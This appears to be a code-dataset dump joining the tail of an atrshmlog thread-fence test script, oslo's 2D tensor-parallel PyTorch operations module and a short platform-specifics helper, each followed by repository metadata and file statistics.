' + str(f) + ' : ') old = atrshmlog.set_thread_fence_12(0) print('fence : ' + str(old) + ' : ') f = atrshmlog.get_thread_fence_12() print('fence : ' + str(f) + ' : ') f = atrshmlog.get_thread_fence_13() print('fence : ' + str(f) + ' : ') old = atrshmlog.set_thread_fence_13(1) print('fence : ' + str(old) + ' : ') f = atrshmlog.get_thread_fence_13() print('fence : ' + str(f) + ' : ') old = atrshmlog.set_thread_fence_13(0) print('fence : ' + str(old) + ' : ') f = atrshmlog.get_thread_fence_13() print('fence : ' + str(f) + ' : ') print (' ') exit(0) # end of test
17.992883
58
0.599486
712
5,056
3.983146
0.06882
0.252116
0.297955
0.261284
0.946756
0.946756
0.946756
0.946756
0.946756
0.946756
0
0.027581
0.189676
5,056
280
59
18.057143
0.664633
0.025119
0
0.77037
0
0
0.145528
0
0
0
0
0
0
1
0
false
0
0.014815
0
0.014815
0.488889
0
0
0
null
1
1
1
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
1
0
11
4567c9549b8c16f203636ef835e407f684ef73fb
27,652
py
Python
oslo/torch/nn/parallel/tensor_parallel/_parallel_2d/_ops.py
lipovsek/oslo
c2cde6229068808bf691e200f8af8c97c1631eb4
[ "Apache-2.0" ]
249
2021-12-21T05:25:53.000Z
2022-03-21T21:03:58.000Z
oslo/torch/nn/parallel/tensor_parallel/_parallel_2d/_ops.py
lipovsek/oslo
c2cde6229068808bf691e200f8af8c97c1631eb4
[ "Apache-2.0" ]
21
2021-12-22T13:22:18.000Z
2022-03-31T17:38:53.000Z
oslo/torch/nn/parallel/tensor_parallel/_parallel_2d/_ops.py
lipovsek/oslo
c2cde6229068808bf691e200f8af8c97c1631eb4
[ "Apache-2.0" ]
14
2021-12-21T10:28:36.000Z
2022-03-29T12:35:44.000Z
from typing import Any, Tuple import torch import torch.distributed as dist from torch import Tensor from torch.cuda.amp import custom_bwd, custom_fwd from oslo.torch.distributed import ParallelContext, ParallelMode from oslo.torch.distributed.nn.functional import all_gather, all_reduce, reduce_scatter def matmul_2d( a, b, summa_dim, out_shape, parallel_context: ParallelContext, row_rank=None, col_rank=None, row_parallel_mode=ParallelMode.TENSOR_2D_ROW, col_parallel_mode=ParallelMode.TENSOR_2D_COL, ): if row_rank is None: row_rank = parallel_context.get_local_rank(row_parallel_mode) if col_rank is None: col_rank = parallel_context.get_local_rank(col_parallel_mode) data_parallel_rank = ( 0 if not parallel_context.is_initialized(ParallelMode.DATA) else parallel_context.get_local_rank(ParallelMode.DATA) ) pipeline_parallel_rank = ( 0 if not parallel_context.is_initialized(ParallelMode.PIPELINE) else parallel_context.get_local_rank(ParallelMode.PIPELINE) ) pipeline_parallel_size = ( 1 if not parallel_context.is_initialized(ParallelMode.PIPELINE) else parallel_context.get_world_size(ParallelMode.PIPELINE) ) tensor_parallel_size = summa_dim**2 return Matmul_AB_2D( a, b, summa_dim, parallel_context, out_shape, row_rank, col_rank, row_parallel_mode, col_parallel_mode, data_parallel_rank, pipeline_parallel_rank, pipeline_parallel_size, tensor_parallel_size, ) def add_bias_2d( input_: Tensor, bias: Tensor, output_size_per_partition: int, row_rank: int, col_rank: int, parallel_context: ParallelContext, row_parallel_mode: ParallelMode, col_parallel_mode: ParallelMode, skip_bias_add: bool, data_parallel_rank: int, pipeline_parallel_rank: int, pipeline_parallel_size: int, tensor_parallel_size: int, ) -> Tensor: return _Add_Bias_2D.apply( input_, bias, output_size_per_partition, row_rank, col_rank, parallel_context, row_parallel_mode, col_parallel_mode, skip_bias_add, data_parallel_rank, pipeline_parallel_rank, pipeline_parallel_size, tensor_parallel_size, ) def layernorm_2d( input_: Tensor, E_x: Tensor, Var_x: Tensor, hidden_size: int, parallel_context: ParallelContext, row_parallel_mode: ParallelMode, col_parallel_mode: ParallelMode, ) -> Tensor: return _Layernorm_2D.apply( input_, E_x, Var_x, hidden_size, parallel_context, row_parallel_mode, col_parallel_mode, ) def all_gather_tensor_2d( tensor: Tensor, dim: int, parallel_mode: ParallelMode, parallel_context: ParallelContext, ) -> Tensor: return _AllGatherTensor2D.apply( tensor, dim, parallel_mode, parallel_context, ) def split_batch_2d( input_: Tensor, parallel_context: ParallelContext, dim: int = 0, ) -> Tensor: dim_size = input_.size(dim) world_size = parallel_context.get_world_size(ParallelMode.TENSOR_2D_COL) if world_size <= 1: return input_ assert ( dim_size % world_size == 0 ), f"The batch size ({dim_size}) is not a multiple of 2D size ({world_size})." return torch.chunk( input_, parallel_context.get_world_size(ParallelMode.TENSOR_2D_COL), dim=dim )[parallel_context.get_local_rank(ParallelMode.TENSOR_2D_COL)].contiguous() def reduce_tensor_2d( input_: Tensor, parallel_mode: ParallelMode, parallel_context: ParallelContext, ) -> Tensor: return _ReduceTensor2D.apply( input_, parallel_mode, parallel_context, ) def reduce_scatter_tensor_2d( tensor: Tensor, dim: int, parallel_mode: ParallelMode, parallel_context: ParallelContext, ) -> Tensor: dim_size = tensor.size(dim) world_size = parallel_context.get_world_size(parallel_mode) assert ( dim_size % world_size == 0 ), f"The batch size ({dim_size}) is not a multiple of 2D size ({world_size})." return _ReduceScatterTensor2D.apply( tensor, dim, parallel_mode, parallel_context, ) def reduce_by_batch_2d( input_, parallel_context: ParallelContext, reduce_mean: bool = False, ) -> Tensor: return _ReduceByBatch2D.apply( input_, parallel_context, reduce_mean, ) class Matmul_AB_2D(torch.autograd.Function): @staticmethod @custom_fwd(cast_inputs=torch.float16) def forward( ctx: Any, A: Tensor, B: Tensor, summa_dim: int, parallel_context: ParallelContext, out_shape: Tuple[int, ...], row_rank: int, col_rank: int, row_parallel_mode: ParallelMode, col_parallel_mode: ParallelMode, data_parallel_rank: int, pipeline_parallel_rank: int, pipeline_parallel_size: int, tensor_parallel_size: int, ) -> Tensor: # A: [b / q, s, h / q] -> [(b * s) / q, h / q] # B: [h / q, s / q] # C: [b / q, s, s / q] -> [(b * s) / q, s / q] assert A.shape[-1] == B.shape[-2], "Invalid shapes: A={}, B={} for AB.".format( A.shape, B.shape ) if ctx: ctx.save_for_backward(A, B) A_shape = A.shape A = A.reshape((-1, A_shape[-1])) B_shape = B.shape B = B.reshape((-1, B_shape[-1])) C_shape = (A.shape[0], B.shape[-1]) C = torch.zeros(C_shape, dtype=A.dtype, device=torch.cuda.current_device()) # use circular buffer to store the communication tensor # 2 is enough for all cases A_list = [torch.empty_like(A) for _ in range(2)] B_list = [torch.empty_like(B) for _ in range(2)] row_group = parallel_context.get_group(row_parallel_mode) col_group = parallel_context.get_group(col_parallel_mode) src_a = ( summa_dim * col_rank + data_parallel_rank * pipeline_parallel_size * tensor_parallel_size + pipeline_parallel_rank * tensor_parallel_size ) src_b = ( row_rank + data_parallel_rank * pipeline_parallel_size * tensor_parallel_size + pipeline_parallel_rank * tensor_parallel_size ) opa = [None] * 2 opb = [None] * 2 A_list[0].copy_(A) B_list[0].copy_(B) opa[0] = dist.broadcast(A_list[0], src=src_a, group=row_group, async_op=True) opb[0] = dist.broadcast(B_list[0], src=src_b, group=col_group, async_op=True) cur = 0 for i in range(summa_dim): if i != summa_dim - 1: A_list[1 - cur].copy_(A) opa[1 - cur] = dist.broadcast( A_list[1 - cur], src=src_a + 1, group=row_group, async_op=True ) B_list[1 - cur].copy_(B) opb[1 - cur] = dist.broadcast( B_list[1 - cur], src=src_b + summa_dim, group=col_group, async_op=True, ) if opa[cur] is not None: opa[cur].wait() if opb[cur] is not None: opb[cur].wait() torch.addmm(C, A_list[cur], B_list[cur], out=C) cur = 1 - cur src_a += 1 src_b += summa_dim out = C.reshape(out_shape) if ctx: ctx.summa_dim = summa_dim ctx.parallel_context = parallel_context ctx.row_rank = row_rank ctx.col_rank = col_rank ctx.row_parallel_mode = row_parallel_mode ctx.col_parallel_mode = col_parallel_mode ctx.A_shape = A_shape ctx.B_shape = B_shape ctx.data_parallel_rank = data_parallel_rank ctx.pipeline_parallel_rank = pipeline_parallel_rank ctx.pipeline_parallel_size = pipeline_parallel_size ctx.tensor_parallel_size = tensor_parallel_size return out @staticmethod @custom_bwd def backward(ctx: Any, output_grad: Tensor) -> Tuple[Tensor, ...]: A, B = ctx.saved_tensors with torch.no_grad(): A_grad = Matmul_ABT_2D.apply( output_grad, B, ctx.summa_dim, ctx.parallel_context, ctx.A_shape, ctx.row_rank, ctx.col_rank, ctx.row_parallel_mode, ctx.col_parallel_mode, ctx.data_parallel_rank, ctx.pipeline_parallel_rank, ctx.pipeline_parallel_size, ctx.tensor_parallel_size, ) B_grad = Matmul_ATB_2D.apply( A, output_grad, ctx.summa_dim, ctx.parallel_context, ctx.B_shape, ctx.row_rank, ctx.col_rank, ctx.row_parallel_mode, ctx.col_parallel_mode, ctx.data_parallel_rank, ctx.pipeline_parallel_rank, ctx.pipeline_parallel_size, ctx.tensor_parallel_size, ) return ( A_grad, B_grad, None, None, None, None, None, None, None, None, None, None, None, ) class Matmul_ABT_2D(torch.autograd.Function): @staticmethod @custom_fwd(cast_inputs=torch.float16) def forward( ctx: Any, A: Tensor, B: Tensor, summa_dim: int, parallel_context: ParallelContext, out_shape: Tuple[int, ...], row_rank: int, col_rank: int, row_parallel_mode: ParallelMode, col_parallel_mode: ParallelMode, data_parallel_rank: int, pipeline_parallel_rank: int, pipeline_parallel_size: int, tensor_parallel_size: int, ) -> Tensor: assert A.shape[-1] == B.shape[-1], "Invalid shapes: A={}, B={} for ABT.".format( A.shape, B.shape ) if ctx: ctx.save_for_backward(A, B) A_shape = A.shape A = A.reshape((-1, A_shape[-1])) B_shape = B.shape B = B.reshape((-1, B_shape[-1])) C_shape = (A.shape[0], B.shape[0]) C = torch.empty(C_shape, dtype=A.dtype, device=torch.cuda.current_device()) # use circular buffer to store the communication tensor # 2 is enough for all cases B_list = [torch.empty_like(B) for _ in range(2)] C_list = [torch.empty_like(C) for _ in range(2)] row_group = parallel_context.get_group(row_parallel_mode) col_group = parallel_context.get_group(col_parallel_mode) src_b = ( row_rank + data_parallel_rank * pipeline_parallel_size * tensor_parallel_size + pipeline_parallel_rank * tensor_parallel_size ) src_c = ( summa_dim * col_rank + data_parallel_rank * pipeline_parallel_size * tensor_parallel_size + pipeline_parallel_rank * tensor_parallel_size ) opb = [None] * 2 opr = [None] * 2 B_list[0].copy_(B) opb[0] = dist.broadcast(B_list[0], src=src_b, group=col_group, async_op=True) cur = 0 for i in range(summa_dim): if i != summa_dim - 1: B_list[1 - cur].copy_(B) opb[1 - cur] = dist.broadcast( B_list[1 - cur], src=src_b + summa_dim, group=col_group, async_op=True, ) if opr[cur] is not None: opr[cur].wait() if i - 2 == row_rank: C.copy_(C_list[cur]) if opb[cur] is not None: opb[cur].wait() torch.matmul(A, B_list[cur].transpose(0, 1), out=C_list[cur]) opr[cur] = dist.reduce( C_list[cur], dst=src_c, group=row_group, async_op=True ) cur = 1 - cur src_b += summa_dim src_c += 1 for op in opr: op.wait() if summa_dim - 2 == row_rank: C.copy_(C_list[cur]) if summa_dim - 1 == row_rank: C.copy_(C_list[1 - cur]) out = C.reshape(out_shape) if ctx: ctx.summa_dim = summa_dim ctx.parallel_context = parallel_context ctx.row_rank = row_rank ctx.col_rank = col_rank ctx.row_parallel_mode = row_parallel_mode ctx.col_parallel_mode = col_parallel_mode ctx.A_shape = A_shape ctx.B_shape = B_shape ctx.data_parallel_rank = data_parallel_rank ctx.pipeline_parallel_rank = pipeline_parallel_rank ctx.pipeline_parallel_size = pipeline_parallel_size ctx.tensor_parallel_size = tensor_parallel_size return out @staticmethod @custom_bwd def backward(ctx: Any, output_grad: Tensor) -> Tuple[Tensor, ...]: A, B = ctx.saved_tensors with torch.no_grad(): A_grad = Matmul_AB_2D.apply( output_grad, B, ctx.summa_dim, ctx.parallel_context, ctx.A_shape, ctx.row_rank, ctx.col_rank, ctx.row_parallel_mode, ctx.col_parallel_mode, ctx.data_parallel_rank, ctx.pipeline_parallel_rank, ctx.pipeline_parallel_size, ctx.tensor_parallel_size, ) B_grad = Matmul_ATB_2D.apply( output_grad, A, ctx.summa_dim, ctx.parallel_context, ctx.B_shape, ctx.row_rank, ctx.col_rank, ctx.row_parallel_mode, ctx.col_parallel_mode, ctx.data_parallel_rank, ctx.pipeline_parallel_rank, ctx.pipeline_parallel_size, ctx.tensor_parallel_size, ) return ( A_grad, B_grad, None, None, None, None, None, None, None, None, None, None, None, ) class Matmul_ATB_2D(torch.autograd.Function): @staticmethod @custom_fwd(cast_inputs=torch.float16) def forward( ctx: Any, A: Tensor, B: Tensor, summa_dim: int, parallel_context: ParallelContext, out_shape: Tuple[int, ...], row_rank: int, col_rank: int, row_parallel_mode: ParallelMode, col_parallel_mode: ParallelMode, data_parallel_rank: int, pipeline_parallel_rank: int, pipeline_parallel_size: int, tensor_parallel_size: int, ) -> Tensor: assert A.shape[-2] == B.shape[-2], "Invalid shapes: A={}, B={} for ATB.".format( A.shape, B.shape ) if ctx: ctx.save_for_backward(A, B) A_shape = A.shape A = A.reshape((-1, A_shape[-1])) B_shape = B.shape B = B.reshape((-1, B_shape[-1])) C_shape = (A.shape[-1], B.shape[-1]) C = torch.empty(C_shape, dtype=A.dtype, device=torch.cuda.current_device()) # use circular buffer to store the communication tensor # 2 is enough for all cases A_list = [torch.empty_like(A) for _ in range(2)] C_list = [torch.empty_like(C) for _ in range(2)] row_group = parallel_context.get_group(row_parallel_mode) col_group = parallel_context.get_group(col_parallel_mode) src_a = ( summa_dim * col_rank + data_parallel_rank * pipeline_parallel_size * tensor_parallel_size + pipeline_parallel_rank * tensor_parallel_size ) src_c = ( row_rank + data_parallel_rank * pipeline_parallel_size * tensor_parallel_size + pipeline_parallel_rank * tensor_parallel_size ) opa = [None] * 2 opr = [None] * 2 A_list[0].copy_(A) opa[0] = dist.broadcast(A_list[0], src=src_a, group=row_group, async_op=True) cur = 0 for i in range(summa_dim): if i != summa_dim - 1: A_list[1 - cur].copy_(A) opa[1 - cur] = dist.broadcast( A_list[1 - cur], src=src_a + 1, group=row_group, async_op=True ) if opr[cur] is not None: opr[cur].wait() if i - 2 == col_rank: C.copy_(C_list[cur]) if opa[cur] is not None: opa[cur].wait() torch.matmul(A_list[cur].transpose(0, 1), B, out=C_list[cur]) opr[cur] = dist.reduce( C_list[cur], dst=src_c, group=col_group, async_op=True ) cur = 1 - cur src_a += 1 src_c += summa_dim for op in opr: op.wait() if summa_dim - 2 == col_rank: C.copy_(C_list[cur]) if summa_dim - 1 == col_rank: C.copy_(C_list[1 - cur]) out = C.reshape(out_shape) if ctx: ctx.summa_dim = summa_dim ctx.row_rank = row_rank ctx.col_rank = col_rank ctx.row_parallel_mode = row_parallel_mode ctx.col_parallel_mode = col_parallel_mode ctx.A_shape = A_shape ctx.B_shape = B_shape ctx.data_parallel_rank = data_parallel_rank ctx.pipeline_parallel_rank = pipeline_parallel_rank ctx.pipeline_parallel_size = pipeline_parallel_size ctx.tensor_parallel_size = tensor_parallel_size return out @staticmethod @custom_bwd def backward(ctx: Any, output_grad: Tensor) -> Tuple[Tensor, ...]: A, B = ctx.saved_tensors with torch.no_grad(): A_grad = Matmul_ABT_2D.apply( B, output_grad, ctx.summa_dim, ctx.A_shape, ctx.row_rank, ctx.col_rank, ctx.row_parallel_mode, ctx.col_parallel_mode, ctx.data_parallel_rank, ctx.pipeline_parallel_rank, ctx.pipeline_parallel_size, ctx.tensor_parallel_size, ) B_grad = Matmul_AB_2D.apply( A, output_grad, ctx.summa_dim, ctx.B_shape, ctx.row_rank, ctx.col_rank, ctx.row_parallel_mode, ctx.col_parallel_mode, ctx.data_parallel_rank, ctx.pipeline_parallel_rank, ctx.pipeline_parallel_size, ctx.tensor_parallel_size, ) return ( A_grad, B_grad, None, None, None, None, None, None, None, None, None, None, None, ) class _Add_Bias_2D(torch.autograd.Function): @staticmethod @custom_fwd(cast_inputs=torch.float16) def forward( ctx: Any, input_: Tensor, bias: Tensor, output_size_per_partition: int, row_rank: int, col_rank: int, parallel_context: ParallelContext, row_parallel_mode: ParallelMode, col_parallel_mode: ParallelMode, skip_bias_add: bool, data_parallel_rank: int, pipeline_parallel_rank: int, pipeline_parallel_size: int, tensor_parallel_size: int, ) -> Tensor: bias_temp = all_gather( bias, -1, parallel_mode=col_parallel_mode, parallel_context=parallel_context, ) ctx.row_rank = row_rank ctx.col_rank = col_rank ctx.parallel_context = parallel_context ctx.row_parallel_mode = row_parallel_mode ctx.col_parallel_mode = col_parallel_mode ctx.bias = skip_bias_add ctx.data_parallel_rank = data_parallel_rank ctx.pipeline_parallel_rank = pipeline_parallel_rank ctx.pipeline_parallel_size = pipeline_parallel_size ctx.tensor_parallel_size = tensor_parallel_size if skip_bias_add: return bias_temp else: output = input_ + bias_temp return output @staticmethod @custom_bwd def backward(ctx: Any, output_grad: Tensor) -> Tuple[Tensor, ...]: col_parallel_mode = ctx.col_parallel_mode parallel_context = ctx.parallel_context if ctx.bias: grad = reduce_scatter( output_grad, -1, parallel_mode=col_parallel_mode, parallel_context=parallel_context, ) return ( None, grad, None, None, None, None, None, None, None, None, None, None, None, ) else: reduce_dim = tuple(range(output_grad.ndim - 1)) reduce = torch.sum(output_grad, dim=reduce_dim) grad = reduce_scatter( reduce, -1, parallel_mode=col_parallel_mode, parallel_context=parallel_context, ) return ( output_grad, grad, None, None, None, None, None, None, None, None, None, None, None, ) class _Layernorm_2D(torch.autograd.Function): @staticmethod @custom_fwd(cast_inputs=torch.float32) def forward( ctx: Any, input_: Tensor, E_x: Tensor, Var_x: Tensor, hidden_size: int, parallel_context: ParallelContext, row_parallel_mode: ParallelMode, col_parallel_mode: ParallelMode, ) -> Tensor: input_ = input_ - E_x # in here, input = x - E[x], Var_x = 1 / sqrt(Var[x] + eps) ctx.normalized_shape = hidden_size ctx.parallel_context = parallel_context output = input_ * Var_x ctx.save_for_backward(output, Var_x) ctx.row_parallel_mode = row_parallel_mode ctx.col_parallel_mode = col_parallel_mode return output @staticmethod @custom_bwd def backward(ctx: Any, output_grad: Tensor) -> Tuple[Tensor, ...]: parallel_context = ctx.parallel_context row_parallel_mode = ctx.row_parallel_mode x, Var_x = ctx.saved_tensors # in here, Var_x = 1 / sqrt(Var[x] + eps), x = (x - E[x]) * Var_x output_grad_sum = torch.sum(output_grad, dim=-1, keepdim=True) torch.distributed.all_reduce( output_grad_sum, group=parallel_context.get_group(row_parallel_mode) ) output_grad_sum /= ctx.normalized_shape output_grad_mul_x_sum = torch.sum(output_grad * x, dim=-1, keepdim=True) torch.distributed.all_reduce( output_grad_mul_x_sum, group=parallel_context.get_group(row_parallel_mode) ) output_grad_mul_x_sum /= ctx.normalized_shape input_grad = output_grad.clone() input_grad -= x * output_grad_mul_x_sum input_grad -= output_grad_sum input_grad *= Var_x return input_grad, None, None, None, None, None, None class _AllGatherTensor2D(torch.autograd.Function): @staticmethod @custom_fwd(cast_inputs=torch.float16) def forward( ctx: Any, inputs: Tensor, dim: int, parallel_mode: ParallelMode, parallel_context: ParallelContext, ) -> Tensor: ctx.dim = dim ctx.parallel_mode = parallel_mode ctx.parallel_context = parallel_context outputs = all_gather( inputs, dim, parallel_mode=parallel_mode, parallel_context=parallel_context, ) return outputs @staticmethod @custom_bwd def backward(ctx: Any, output_grad: Tensor) -> Tuple[Tensor, ...]: grad = reduce_scatter( output_grad, ctx.dim, parallel_mode=ctx.parallel_mode, parallel_context=ctx.parallel_context, ) return grad.contiguous(), None, None, None class _ReduceTensor2D(torch.autograd.Function): @staticmethod def forward(ctx, input_, parallel_mode, parallel_context): return all_reduce( input_, parallel_mode=parallel_mode, parallel_context=parallel_context, ) @staticmethod def backward(ctx, output_grad): return output_grad, None, None class _ReduceScatterTensor2D(torch.autograd.Function): @staticmethod def forward(ctx, input_, dim, parallel_mode, parallel_context): ctx.dim = dim ctx.parallel_mode = parallel_mode ctx.parallel_context = parallel_context return reduce_scatter( input_, dim, parallel_mode=parallel_mode, parallel_context=parallel_context, ) @staticmethod def backward(ctx, output_grad): return ( all_gather( output_grad, ctx.dim, parallel_mode=ctx.parallel_mode, parallel_context=ctx.parallel_context, ), None, None, None, ) class _ReduceByBatch2D(torch.autograd.Function): @staticmethod def symbolic( graph, input_, parallel_context: ParallelContext, reduce_mean: bool = False ): output = all_reduce( input_, parallel_mode=ParallelMode.TENSOR_2D_COL, parallel_context=parallel_context, ) if reduce_mean: reduce_size = parallel_context.get_world_size(ParallelMode.TENSOR_2D_COL) return output / reduce_size return output @staticmethod @custom_fwd(cast_inputs=torch.float32) def forward( ctx, input_, parallel_context: ParallelContext, reduce_mean: bool = False ): output = all_reduce( input_, parallel_mode=ParallelMode.TENSOR_2D_COL, parallel_context=parallel_context, ) ctx.reduce_mean = reduce_mean if reduce_mean: reduce_size = parallel_context.get_world_size(ParallelMode.TENSOR_2D_COL) ctx.reduce_size = reduce_size return output.clone() / reduce_size return output.clone() @staticmethod @custom_bwd def backward(ctx, output_grad): if ctx.reduce_mean: return output_grad / ctx.reduce_size, None, None else: return output_grad, None, None
29.542735
88
0.561153
3,188
27,652
4.530427
0.050502
0.083085
0.042373
0.047636
0.866648
0.821159
0.796233
0.777678
0.742505
0.721526
0
0.00901
0.357804
27,652
935
89
29.574332
0.804314
0.016961
0
0.773284
0
0
0.009127
0
0
0
0
0
0.006127
1
0.033088
false
0
0.008578
0.009804
0.093137
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
45e2384aaa2dcdf1e8cbcdbe1b60819efd424ddd
180
py
Python
addon/pycThermopack/pyctp/platform_specifics.py
Helarga/thermopack
2f9231c921b8133ccb41749ca4d7d6f57fe0ef44
[ "MIT" ]
28
2020-10-14T07:51:21.000Z
2022-03-21T04:59:23.000Z
addon/pycThermopack/pyctp/platform_specifics.py
Helarga/thermopack
2f9231c921b8133ccb41749ca4d7d6f57fe0ef44
[ "MIT" ]
20
2020-10-26T11:43:43.000Z
2022-03-30T22:06:30.000Z
addon/pycThermopack/pyctp/platform_specifics.py
morteham/thermopack
67deaf74a2ae974e880be25026738cc32e3a6c1e
[ "MIT" ]
13
2020-10-27T13:04:19.000Z
2022-03-21T04:59:24.000Z
# Module for platform specific stuff. from . import map_platform_specifics def get_platform_specifics(): return map_platform_specifics.get_platform_specifics_from_platform()
25.714286
72
0.838889
23
180
6.130435
0.521739
0.48227
0.283688
0
0
0
0
0
0
0
0
0
0.111111
180
6
73
30
0.88125
0.194444
0
0
0
0
0
0
0
0
0
0
0
1
0.333333
true
0
0.333333
0.333333
1
0
1
0
0
null
1
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
1
0
1
1
1
0
0
9